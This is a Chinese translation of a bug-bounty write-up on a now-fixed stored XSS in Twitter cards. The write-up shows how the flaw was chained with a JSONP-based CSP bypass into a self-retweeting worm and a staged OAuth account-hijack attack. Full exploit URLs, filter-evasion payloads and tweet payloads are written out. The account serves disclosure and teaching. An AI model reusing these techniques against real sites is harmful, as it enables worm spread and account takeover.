挖洞经验 | 从Twitter的XSS漏洞构造出Twitter XSS Worm

栏目: 编程工具 · 发布时间: 5年前

内容简介:XSS Worm(XSS蠕虫)是XSS漏洞利用的终极武器,也就是把XSS漏洞打造成蠕虫来进行广泛传播感染,安全威胁轻则为“恶作剧”,重则为窃取用户数据或瘫痪网络应用。早有2005年的Myspace蠕虫,19岁少年制作的XSS worm在短短几小时之内就通过Myspace空间感染了100万用户;还有2007年的百度空间蠕虫,至百度进行屏蔽防护时,这个XSS worm已经感染了8700多个博客空间。XSS worm对社交网站和大型社区论坛危害性极大。更多信息请参考

2018年年中,当时我发现了一个Twitter的存储型XSS漏洞,该漏洞位于Twitter的犄角旮旯之处,一般人很难发现。重点在于,后来我又发现,这个存储型XSS漏洞可以被进一步构造形成一个稳定的XSS worm!

挖洞经验 | 从Twitter的XSS漏洞构造出Twitter XSS Worm

XSS Worm 介绍

XSS Worm(XSS蠕虫)是XSS漏洞利用的终极武器,也就是把XSS漏洞打造成蠕虫来进行广泛传播感染,安全威胁轻则为“恶作剧”,重则为窃取用户数据或瘫痪网络应用。早有2005年的Myspace蠕虫,19岁少年制作的XSS worm在短短几小时之内就通过Myspace空间感染了100万用户;还有2007年的百度空间蠕虫,至百度进行屏蔽防护时,这个XSS worm已经感染了8700多个博客空间。XSS worm对社交网站和大型社区论坛危害性极大。更多信息请参考 wikipedia

开门见山上 XSS Worm Payload

XSS Worm Payload

开门见山,一来就上该Twitter XSS worm的漏洞利用URL链接(exploit)吧,稍后我们再详解其中的特别之处。在该XSS漏洞修复之前,通过Twitter发布以下URL链接就会创建出一个XSS worm来,它可以在推特圈内从一个账户中传播到另一个账户。该漏洞利用URL(exploit)如下:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text=%3C%3Cx%3E/script%3E%3C%3Cx%3Eiframe%20id%3D__twttr%20src%3D/intent/retweet%3Ftweet_id%3D1114986988128624640%3E%3C%3Cx%3E/iframe%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/alert%3Buser_id%3D12%3E%3C%3Cx%3E/script%3E%3C%3Cx%3Escript%20src%3D//syndication.twimg.com/timeline/profile%3Fcallback%3D__twttr/frames%5B0%5D.retweet_btn_form.submit%3Buser_id%3D12%3E

经urldecode转换之后的URL链接如下:

https://twitter.com/messages/compose?recipient_id=988260476659404801&welcome_message_id=988274596427304964&text= <<x>/script><<x>iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640><<x>/iframe><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12><<x>/script><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>

在Twitter中打开效果如下:

挖洞经验 | 从Twitter的XSS漏洞构造出Twitter XSS Worm 可能你会好奇,“怎么可能?,它就是一个简单的URL链接啊!?”,但是,请相信它并不是一个普通的URL链接。它是一个Welcome Message(欢迎消息)的deeplink,且通过Twitter Card进行加载呈现(在Twitter中 点击链接加载 ),如下:

挖洞经验 | 从Twitter的XSS漏洞构造出Twitter XSS Worm 相关知识点

Welcome Message(欢迎消息) :自动弹出的消息,类似于关注别人微信微博后,别人私信窗口自动弹出的欢迎消息。 https://developer.twitter.com/en/docs/direct-messages/welcome-messages/overview

Deeplink :多用于移动智能终端,字面意思“深度链接”,但实际并非如此,实际意图是,可以通过一个简单的URL链接,打开APP并直接进入该APP中的内文页,前提是该APP在该手机上已安装,且该APP需要编程支持该deeplink相关的语法定义。比如可复制一些淘宝商品及淘宝店铺页的deeplink链接,发送给其他人,他点击链接后,可以通过手机中安装的淘宝APP直接进入具体的商品页及店铺页。

Twitter Card :就是在你的推文上加上一段代码链接,通过这种方式展示出更多信息,类似于Pinterest中的rich pin。目前Twitter Card支持Summary Card,Summary Card with Large Image,photo card,Gallery Card,APP Card,Player Card,Play Card: approve guide,Product Card 8种方式的展示链接。

好了,那么我是如何发现这个XSS Worm的呢?我们从一开始发现的XSS漏洞说来。

发现初步的XSS漏洞

上述的Twittce Card其实是一个iframe元素,它的展示指向链接为 https://twitter.com/i/cards/tfw/v1/1114991578353930240 。该iframe很明显是基于同源策略(same-origin)而不是沙盒,这意味着我们可以基于DOM同源策略访问同源网站下的父级页面。

在我们一开始构造的漏洞利用URL链接中,把Payload作为参数”text”的值,如下:

text=<<x>/script><<x>iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640><<x>/iframe><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12><<x>/script><<x>script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>

在加载呈现漏洞利用URL的Twittce Card中,通过查看其中的展示指向链接网页源码可知,这个”text”参数反映在了一个内联JSON对象中,并赋值给了” default_composer_text “键值。如下:

<script type="text/twitter-cards-serialization">

{

"strings": { },

"card": {

"viewer_id" : "988260476659404801",

"is_caps_enabled" : true,

"forward" : "false",

"is_logged_in" : true,

"is_author" : true,

"language" : "en",

"card_name" : "2586390716:message_me",

"welcome_message_id" : "988274596427304964",

"token" : "[redacted]",

"is_emojify_enabled" : true,

"scribe_context" : "%7B%7D",

"is_static_view" : false,

"default_composer_text" : "</script><iframe id=__twttr src=/intent/retweet?tweet_id=1114986988128624640></iframe><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/alert;user_id=12></script><script src=//syndication.twimg.com/timeline/profile?callback=__twttr/frames[0].retweet_btn_form.submit;user_id=12>\\u00A0",

"recipient_id" : "988260476659404801",

"card_uri" : " https://t.co/1vVzoyquhh ",

"render_card" : true,

"tweet_id" : "1114991578353930240",

"card_url" : " https://t.co/1vVzoyquhh "

},

"twitter_cldr": false,

"scribeData": {

"card_name": "2586390716:message_me",

"card_url": " https://t.co/1vVzoyquhh "

}

}

</script>

请注意,HTML解析机制发现在起始的<script>后任何地方存在</script>闭合标签,无论是在字符串或评论或正则表达式中,那么,这种script脚本范围都会到此终止。

在此之前,基于Twitter的安全防护环境、WAF部署和Web应用过滤规则,我们可能会遇到以下限制或障碍因素:

1、目标系统把单引号和双引号分别转义为 `​\’` 和 `\”`;
2、HTML的某些敏感标签被直接过滤掉,如 `a</script>b` 直接被过滤为了`ab`;
3、或者是Payload长度被限制在300个字符内;
4、存在内容安全策略CSP,通过白名单方式来限制某些内联脚本(Inline Scripts)。

起初来看,这些防护策略看似合理,但当我检查HTML标签的剥离动作时,我隐约觉得有些问题。由于这种剥离(去除)字符串中HTML标签的操作不像转义单独的字符,它需要用到HTML解析,HTML解析又经常会出错(象正则表达式之类的),所以在此,这种HTML标签剥离操作可以深入研究分析一下。

于是,我立马动手构造了一个非常基本的Payload: `</script><svg onload=alert()> `,之后又构造了这个Payload: `<</<x>/script/test000><</<x>svg onload=alert()></><script>1<\x>2` ,这个Payload经Twitter的HTML标签剥离操作后,变成了 `</script/test000><svg onload=alert()>` ,啊哦,到了这一步,这个也算是个XSS漏洞了,在未继续深挖找到CSP绕过方法前,心急的我就向Twitter安全团队上报了。

Twitter的CSP策略绕过

上报了这个XSS漏洞之后,我又继续研究Twitter的内容安全策略(CSP),这种网站的CSP可以通过抓包和 工具 检测出来。有意思的是,Twitter并没有在所有应用服务中部署 全局CSP策略 ,也就是说,一些应用服务有着不一样的CSP策略。Twitter站点( https://twitter.com/ )的完整CSP策略如下:

挖洞经验 | 从Twitter的XSS漏洞构造出Twitter XSS Worm 而Twitter Cards的CSP又是和以上完整的CSP不一样,我们在此只挑出Twitter Cards CSP中的script-src部分来看,如下:

script-src 'nonce-ETj41imzIQ/aBrjFcbynCg==' <a href="https://twitter.com">https://twitter.com</a> https://*.twimg.com <a href="https://ton.twitter.com">https://ton.twitter.com</a> 'self'; frame-ancestors <a href="https://ms2.twitter.com">https://ms2.twitter.com</a> <a href="https://twitter.com">https://twitter.com</a> <a href="http://localhost:8889">http://localhost:8889</a> <a href="https://momentmaker-local.twitter.com">https://momentmaker-local.twitter.com</a> <a href="https://localhost.twitter.com">https://localhost.twitter.com</a> <a href="https://tdapi-staging.smf1.twitter.com">https://tdapi-staging.smf1.twitter.com</a> <a href="https://ms5.twitter.com">https://ms5.twitter.com</a> <a href="https://momentmaker.twitter.com">https://momentmaker.twitter.com</a> <a href="https://tweetdeck.localhost.twitter.com">https://tweetdeck.localhost.twitter.com</a> <a href="https://ms3.twitter.com">https://ms3.twitter.com</a> <a href="https://tweetdeck.twitter.com">https://tweetdeck.twitter.com</a> <a href="https://wfa.twitter.com">https://wfa.twitter.com</a> <a href="https://mobile.twitter.com">https://mobile.twitter.com</a> <a href="https://ms1.twitter.com">https://ms1.twitter.com</a> 'self' <a href="https://ms4.twitter.com">https://ms4.twitter.com</a>; font-src <a href="https://twitter.com">https://twitter.com</a> https://*.twimg.com data: <a href="https://ton.twitter.com">https://ton.twitter.com</a> 'self'; media-src <a href="https://twitter.com">https://twitter.com</a> https://*.twimg.com <a href="https://ton.twitter.com">https://ton.twitter.com</a> blob: 'self'; connect-src <a href="https://caps.twitter.com">https://caps.twitter.com</a> <a href="https://cards.twitter.com">https://cards.twitter.com</a> <a href="https://cards-staging.twitter.com">https://cards-staging.twitter.com</a> <a href="https://upload.twitter.com">https://upload.twitter.com</a> blob: 'self'; style-src <a href="https://twitter.com">https://twitter.com</a> https://*.twimg.com <a href="https://ton.twitter.com">https://ton.twitter.com</a> 'unsafe-inline' 'self'; object-src 'none'; default-src 'self'; frame-src <a href="https://twitter.com">https://twitter.com</a> https://*.twimg.com https://* <a href="https://ton.twitter.com">https://ton.twitter.com</a> 'self'; img-src <a href="https://twitter.com">https://twitter.com</a> https://*.twimg.com data: <a href="https://ton.twitter.com">https://ton.twitter.com</a> blob: 'self'; report-uri <a href="https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false">https://twitter.com/i/csp_report?a=NVQWGYLXMNQXEZDT&ro=false</a>;

以上策略对于老手来说, https://*.twimg.com 这种通配符限制相对宽松,可能存在被攻击的风险点。所以,针对CSP策略绕过,结合上述Twitter Cards的JSON对象,我们现在需要找到一个位于twimg.com子域名下的JSON路径端点。其实也不难发现,这就是一个: https://syndication.twimg.com/timeline/profile?callback=__twttr ;user_id=12

这里现在的难点是,需要绕过回调验证(callback validation),不能任意指定其它回调,它只能以`__twttr`前缀开始,否则就会被Twitter阻拦。当然,这也就是说,你不能用如 ‘alert’ 这样的内置方法,可以用`__twttralert`,但可能会被解析认为`undefined`。针对这个方法,之后我就对Twitter的过滤策略做了一些测试,看看它会过滤和放行哪些字符。一测我便发现,正斜杠 ‘/’ 竟然在“callback” 参数中是可行的,也就是说类似 “ ?callback=__twttr/alert ” 这样是可以的,而且这种构造下的请求会收到以下形式的响应:

/**/__twttr/alert({"headers":{"status":200,"maxPosition":"1113300837160222720","minPosition":"1098761257606307840","xPolling":30,"time":1554668056},"body":"[...]"});

所以现在我们只需找到一种方法,那就是在’window’对象(浏览器打开窗口)上定义`__twttr`引用,这里有两种方法来实现:

1、找到一种符合白名单且定义了 `__twttr` 变量的脚本,把它包装到我们的Payload中;
2、将HTML元素的ID属性设置为`__twttr`,这样一来,它就能为’window’对象中的元素创建一个全局引用。

在此,我选择第2种方法。如果做够这些,目前来看,应该没什么大问题。虽然我们不能在回调参数中注入任意字符,也就是说,会在JavaScript语法上受到的限制较多。但请注意,“?callback=__twttr/alert;user_id=12”中的分号并不是回调参数中的一部分,它只是查询分隔符,类似于&。但这并不是问题,我们仍然可以构造来调用一些我们想要的函数,就比如 Same Origin Method Execution攻击

总结来看,我们构造的完整Payload作用如下:

1、创建一个有具备ID属性为__twttr的iframe元素, 这个元素通过Twitter Web Intents链接方式指向一条特定推文,这里我们用 https://twitter.com/intent/retweet?tweet_id=1114986988128624640

2、绕过CSP策略调用一个同步方法函数,如`alert`,去推迟下一个脚本块的执行,直到上面的iframe元素完全加载执行。当然了,由于语法限制,这个`alert`同步方法函数不会具体地显示出来,另外,我们也不能简单地使用`setTimeout(func)`;

3、再次利用CSP策略绕过,通过提交iframe元素中的表单(form),去触发对某条特定推文的转推操作。

构造 XSS worm

作为一个 XSS worm 来说,能进行自我转发是比较理想的。而且如果没有语法限制,构造XSS worm传播就相对简单。但现在我们只能依靠Twitter Web Intents方式来进行转推,这种方式下,需要在转推操作之前就要明确tweet ID,比较难的就是, tweet IDs并不是连续的,难以预测。所以,这里就卡住了。

但是,我分析了一个,还有另外两种相对容易的方法来创建XSS Worm的传播态势:

1、“武器化”构造一系列推文链,每条推文中都包含对前一条推文的转发Payload,这样,只要你点击或转发到其中的一条推文,都将造成对整个推文链的不断转发操作,导致攻击链中活跃的Twitter账户都会执行这种操作,形成传播感染;
2、在转发推文中加入一些XSS Payload,也会造成更大范围的影响。

当然了,可以把以上两种方法进行综合利用来进行传播感染,影响就能无限大了。好在这里,作为测试分析,我们最终构造的exploit中,当“ https://twitter.com/intent/retweet?tweet_id=1114986988128624640 ”页面被受害者转发后,’ frames[0].retweet_btn_form.submit ‘ 方法对应的随后操作不是继续转发。

这里,第一次转发这条exploit推文后,它会立马把它的内容展现在你的Twitter主页中,之后,再次查看这条推文后,它会让你去关注攻击者的Twitter账户。

深入构造利用 -  利用XSS Worm劫持Twitter用户

XSS Worm除了传播感染,恶作剧之外,还有瘫痪网络应用或窃取用户信息的可能。所以,在此,我们基于这个XSS Worm,可以在其中加入一些恶意功能,比如可以通过强制Twitter用户对某些第三方恶意应用进行授权,以此隐蔽窃取受害者身份令牌,且能在Twitter的验证机制“oauth/authorize” 中获得完整账户权限,实现Twitter账户劫持。

为了实现这一点,攻击者可以在某个iframe元素中加载 “ https://twitter.com/oauth/authorize?oauth_token= [token] ” 链接,自动提交该链接页面中的验证表单(其中包含如 `oauth_form`的ID属性),就能在随后的身份窃取中起到作用。

最终,基于上述一大堆的传播功能构造,加入这种带有身份窃取功能的隐蔽XSS Worm分阶段运行如下:

1、发送带有下面这个Payload的推文并获取其推文ID:

</script><iframe src=/oauth/authorize?oauth_token=cXDzjwAAAAAA4_EbAAABaizuCOk></iframe>

2、发送另一条推文并获取其推文ID:

</script><script id=__twttr src=//syndication.twimg.com/tweets.json?callback=__twttr/parent.frames[0].oauth_form.submit;ids=20></script>

3、发送第三条推文作为身份窃取劫持的Payload,这条推文综合了第一二条推文,并应用到了同一个页面链接中:

</script><iframe src=/i/cards/tfw/v1/1118608452136460288></iframe><iframe src=/i/cards/tfw/v1/1118609496560029696></iframe>

一旦Twitter受害者打开加载第三条推文后,攻击者控制的第三方恶意应用就能获取受害者的Twitter身份信息,实现账户劫持。要注意的是,”oauth_token”只能被进行一次身份验证,且其有效期非常短。但对一些不懈的攻击者来说,只要发送大量推文,就能劫持到很多用户权限。

最为重要的是,攻击者还可以利用改造XSS Worm,强迫用户在Twitter上加载任意页面,点击任意按钮,提交任意表单等等恶意行为。

漏洞上报进程

2018.4.23   绕过过滤措施的XSS漏洞初报
2018.4.25   漏洞分类处理
2018.4.27   Twitter给出$2,940的奖励
2018.5.4     XSS漏洞修复
2019.4.7     我上报了CSP绕过漏洞
2019.4.12    考虑到XSS Worm的严重性,我直接给Twitter工程师发了write-up专报
2019.4.12    Twitter要求我待修复后再公开漏洞
2019.4.22   Twitter修复了CSP绕过漏洞并同意我进行漏洞公开
2019.5.2     我对漏洞进行了公开

*参考来源: virtuesecurity ,clouds编译,转载请注明来自FreeBuf.COM  


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

R语言编程艺术

R语言编程艺术

(美)Norman Matloff / 陈堰平、邱怡轩、潘岚锋 等 / 机械工业出版社 / 2013-5 / 69.00

【编辑推荐】 这本书涵盖了R语言编程的诸多方面,尤其在面向对象编程、程序调试、提升程序运行速度以及并行计算等方面,填补了同类图书的空白。关于程序调试的章节更是作者多年经验的总结。不管是初学者还是有一定编程经验的读者,阅读这本书都会有所收获。 ——统计之都 【内容简介】 R语言是世界上最流行的用于数据处理和统计分析的脚本语言。考古学家用它来跟踪古代文明的传播,医药公司用它来探......一起来看看 《R语言编程艺术》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具